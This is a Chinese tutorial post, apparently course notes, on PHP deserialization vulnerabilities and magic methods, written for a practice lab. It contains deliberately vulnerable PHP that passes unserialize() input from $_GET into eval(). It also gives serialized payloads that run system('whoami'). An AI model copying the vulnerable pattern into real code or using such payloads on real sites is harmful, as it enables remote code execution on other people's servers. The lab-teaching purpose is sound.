WEB渗透—PHP反序列化(三)

news2024/11/15 15:44:11

Web渗透—PHP反序列化        课程学习分享(课程非本人制作,仅提供学习分享)


靶场下载地址:GitHub - mcc0624/php_ser_Class: php反序列化靶场课程,基于课程制作的靶场

课程地址:PHP反序列化漏洞学习_哔哩哔_bilibili


五、反序列化漏洞

1)反序列化之后的内容为一个对象

2)反序列化生成的对象里的,由反序列化里的值提供;与原有类预定义的值无关;

反序列化漏洞的成因:反序列化过程中,unserialize()接收到的值(字符串)可控

通过更改这个值(字符串),得到所需要的代码,即生成的对象的属性值。

3)反序列化不改变类的成员方法;需要调用方法后才能触发;

通过调用方法,触发代码执行

1.例题代码

<?php 
class test{
    public $a = 'echo "this is test!!";';
    public function displayVar() {
        eval($this->a);
    }
}
$get = $_GET["benben"];     //benben为对象序列化后的字符串
$b = unserialize($get);            //$b把字符串$get反序列化为对象,通过更改字符串可改变得到的对象中$a的值
$b->displayVar();                        //通过调用方法触发可控代码
?>

2.解题代码

<?php
class test{
    public $a = "system('whoami');";
}
echo serialize(new test);
?>

输出结果:
O:4:"test":1:{s:1:"a";s:17:"system('whoami');";}

回显结果:

调用displayVar(),displayVar()执行eval(),eval()触发代码


六、魔术方法简介

1.什么是魔术方法

一个预定好的,在特定情况下自动触发的行为方法。

2.魔术方法的作用

反序列化漏洞的成因:

        反序列化过程中,unserialize()接收的值(字符串)可控;通过更改这个值(字符串),得到所需要的代码;通过调用方法,触发代码执行。

        魔术方法在特定条件下自动调用相关方法,最终导致触发代码

3.魔术方法相关机制

触发时机 ——> 功能 ——> 参数 ——> 返回值

触发时机:动作不同,触发的魔术方法也不同

参数:一些特殊魔术方法会传参

1)__construct(),类的构建函数

2)__destruct(),类的析构函数

3)__call(),在对象中调用一个不可用访问方法时调用

4)__callStatic(),用静态方式中调用一个不可用访问方法时调用

5)__get(),获得一个类的成员变量时调用

6)__isset(),当不可访问属性调用isset()或empty()时调用

7)__set(),设置一个类的成员变量时调用

8)__unset(),当对不可访问属性调用unset()时被调用

9)__sleep(),执行serialize()时,先会调用这个函数

10)__wakeup(),执行unserizlize()时,先会调用这个函数

11)__toString(),类被当成字符串时的回应方法

12)__invoke(),调用函数的方法调用一个对象时的回应方法

13)__ser_state(),调用var_export()导出类时,此静态方法被调用

14)__clone(),当对象复制完成时调用

15)__autoload(),尝试加载未定义的类

16)__debugInfo(),打印所需调试信息

4.__construct()

构造函数,在实例化一个对象的时候,首先会自动执行一个方法;

<?php
class User {
public $username;
public function __construct($username) {
    $this->username = $username;
    echo "触发了构造函数1次" ;
    }
}
$test = new User("benben");         //实例化对象时触发构造函数__construct()
$ser = serialize($test);            //在序列化和反序列化过程中不会触发
unserialize($ser);
?>

触发时机:实例化对象

功能:提前清理不必要内容

参数:非必要

返回值:(无)

5. __destruct()

析构函数,在对象的所有引用被删除或当对象被显式销毁时执行的魔术方法;

<?php
class User {
    public function __destruct(){
        echo "触发了析构函数1次"."<br />" ;
    }
}
$test = new User("benben");               //实例化对象结束后,代码运行完全会销毁,触发析构函数__destruct()
$ser = serialize($test);                  //在序列化过程中不会被触发
unserialize($ser);        ​​​​​​​        ​​​​​​​        //在反序列化过程中会被触发
?>

反序列化得到的是对象,用完后会被销毁,触发析构函数__destruct()

触发时机:对象引用完成,或对象被销毁

功能:(无)

参数:(无)

返回值:(无)

6.析构函数例题

<?php
class User {
    var $cmd = "echo 'dazhuang666!!';" ;
    public function __destruct()
    {
        eval ($this->cmd);
    }
}
$ser = $_GET["benben"];
unserialize($ser);
?>

反序列化会触发__destruct()

7. 解题代码

<?php
class User {
    var $cmd = "system('whoami');" ;
}
echo serialize(new User);
?>

输出结果:
O:4:"User":1:{s:3:"cmd";s:17:"system('whoami');";}

回显结果:

unserialize()触发__destruct(),destruct执行eval(),eval()触发代码

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1315776.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

dockerfile创建镜像 lNMP+wordpress

dockerfile创建镜像 lNMPwordpress nginx dockernginx mysql dockermysql php dockerphp nginx vim nginx.conf vim Dockerfile docker network create --subnet172.17.0.0/16 --opt "com.docker.network.bridge.name""docker1" mynetwork docker buil…

Redis设计与实现之对象处理机制

目录 一、前言 二、对象处理机制 1、redisObject 数据结构&#xff0c;以及 Redis 的数据类型 2、 命令的类型检查和多态 3、对象共享 4、引用计数以及对象的销毁 三、对象的处理 1、Redis是如何处理字符串对象的&#xff1f; 2、Redis是如何处理列表对象的&#xff1f…

Arduino中以太网Udp通信

目录 1、测试硬件 2、程序 &#xff08;0&#xff09;头文件添加 &#xff08;1&#xff09;变量定义 &#xff08;2&#xff09;初始化程序 &#xff08;3&#xff09;循环执行程序 3、程序下载 &#xff08;1&#xff09;开发板控制器和端口号选择 &#xff08;2&am…

java基础知识④:设计模式

目录 一、设计模式 1️⃣创建型设计模式&#xff08;常用&#xff1a;单例、工厂、抽象工厂&#xff09; 2️⃣结构型设计模式&#xff08;常用&#xff1a;适配器、装饰者、外观、代理&#xff09; 3️⃣行为型设计模式&#xff08;常用&#xff1a;观察者、策略、模板方法、命…

windows下redis 设置开机自启动

1&#xff0c;在redis的目录下执行&#xff08;执行后就作为windows服务了&#xff09; redis-server --service-install redis.windows.conf 2&#xff0c;安装好后需要手动启动redis redis-server --service-start 3&#xff0c;停止服务 redis-server --service-stop

springMVC 学习总结(四) 拦截器及统一异常处理

一.拦截器 1.拦截器与过滤器的区别 拦截器 Interceptor 和 过滤器 Filter类似&#xff0c;主要用于拦截用户请求并作出一定处理操作&#xff0c; 但两则也有不同之处&#xff0c;如过滤器只在Servlet前后起作用&#xff0c;是Servlet规范定义的&#xff0c;是Servlt容器才支…

邮政快递查询,邮政快递单号查询,根据更新量筛选出需要的单号

批量查询邮政快递单号的物流信息&#xff0c;并根据物流更新量将需要的单号筛选出来。 所需工具&#xff1a; 一个【快递批量查询高手】软件 邮政快递单号若干 操作步骤&#xff1a; 步骤1&#xff1a;运行【快递批量查询高手】软件&#xff0c;第一次使用的伙伴记得先注册&…

stm32H库的内部FLASH读写操作与结构体数组数据写入与读取

stm32H库的内部FLASH读写操作与结构体数组数据写入与读取 1.软硬件准备2.关于STM32的Flash的一些说明3.实验结果 参考博主-STM32系列(HAL库)——内部FLASH读写实验 1.软硬件准备 软件&#xff1a;CubeMX、SSCOM&#xff08;串口调试助手&#xff09; 硬件&#xff1a;SMT32F…

SQL进阶理论篇(七):B+树的查询及存储机制

文章目录 简介数据库中的存储结构数据库中的页结构从数据页来看B树的查询过程总结参考文献 简介 我们之前已经了解过数据库的B树索引和Hash索引&#xff0c;这些索引信息以及数据记录都是保存在文件里的&#xff0c;确切的说是存储在页结构中。 本节&#xff0c;从我们将了解…

Agilent安捷伦34972A数据采集仪34908A采集卡

附加功能: 3插槽LXI数据采集单元&#xff0c;带6位数字数字多用表(22位)和8个插件模块可供选择(单独出售) 测量11种不同的输入信号(无外部信号调理)&#xff0c;包括热电偶、RTD和热敏电阻的温度&#xff1b;DC/交流伏特或电流&#xff1b;2线或4线电阻&#xff1b;频率和周期…

FindMy技术用于滑雪板

随着冬季运动的日益普及&#xff0c;滑雪板作为滑雪运动的重要器材&#xff0c;也变得越来越受欢迎。在各大雪场和户外运动场所&#xff0c;人们纷纷挥舞着滑雪板&#xff0c;畅享冬季运动的乐趣。 在滑雪过程中&#xff0c;由于雪场的复杂环境和运动的高速性&#xff0c;很容易…

数据结构之排序

目录 ​ 1.常见的排序算法 2.插入排序 直接插入排序 希尔排序 3.交换排序 冒泡排序 快速排序 hoare版本 挖坑法 前后指针法 非递归实现 4.选择排序 直接选择排序 堆排序 5.归并排序 6.排序总结 一起去&#xff0c;更远的远方 1.常见的排序算法 排序&#xff1a;所…

Linux学习笔记-Ubuntu下ssh服务器连接异常Connection reset

文章目录 一、问题问题现象1.1 连接重置无法访问的的问题1.2 查看服务器连接状态1.3 使用调试模式查看的信息 二、临时解决方法三、从根源解决问题3.1 问题分析3.2 服务器的ssh日志3.3 修改ssh配置禁止root登录3.4 配置允许所有ip访问3.5 修改认证方法 角色&#xff1a;百世经纶…

自动化访客互动:提升网站效益与用户体验的关键优势

在激烈的市场竞争环境中&#xff0c;想抢占市场&#xff0c;获得收益并不容易。每一个订单的完成都要经过一定的销售周期&#xff0c;所以企业可以根据销售周期每个阶段的特点进行优化&#xff0c;留住客户。其中&#xff0c;企业可以在与客户在线互动的过程中&#xff0c;让互…

缓存一致性几种解决方案

文章目录 一、理论知识1、概述2、坏的方案2.1 先写 MySQL&#xff0c;再写 Redis2.2 先写 Redis&#xff0c;再写 MySQL2.3 先删除 Redis&#xff0c;再写 MySQL 3、好的方案3.1 先删除 Redis&#xff0c;再写 MySQL&#xff0c;再删除 Redis3.2 先写 MySQL&#xff0c;再删除 …

离散数学知识点-期末复习

目录 一、利用真值表求主析取范式、主合取范式 1.例题 二、推理证明 1.推理规则 2.例题 三、符号化命题 四、有穷集的计数 1.包含互斥原理 2.例题 ​1.文氏图法 2.包含互斥原理法 五、关系的闭包 1.三种闭包 2.Warshall算法 3.例题 六、等价关系 1.定义 2.…

杰卡德的故事

三个男人分别是杰卡德距离 杰卡德相似系数和杰卡德系数 杰卡德相似系数和杰卡德距离是互为相反数的。 杰卡德系数和杰卡德距离是不是一回事 感觉是一回事

Linux--Docker容器(最新)

这里写目录标题 安装Docker安装指令配置加速器 Docker简介名词解释作用run命令解读 操作常见命令命令的别名 数据卷简介数据卷命令使用 本地目录挂载问题发现问题解决二级目录二级目录 安装Docker 安装指令 如下文档 https://b11et3un53m.feishu.cn/wiki/Rfocw7ctXij2RBkShcu…

TrustGeo代码理解(五)sublayers.py

代码链接:https://github.com/ICDM-UESTC/TrustGeo 一、导入模块 import torch import torch.nn as nn import torch.nn.functional as F 这段代码是一个简单的神经网络的定义,用于深度学习任务。 1、import torch:导入 PyTorch 库,提供张量(tensor)等深度学习操作的…

Day62力扣打卡

打卡记录 统计区间中的整数数目&#xff08;动态开点线段树&#xff09; 链接 class CountIntervals:__slots__ left, right, l, r, cntdef __init__(self, l1, r10 ** 9):self.left self.right Noneself.l, self.r, self.cnt l, r, 0def add(self, l: int, r: int) ->…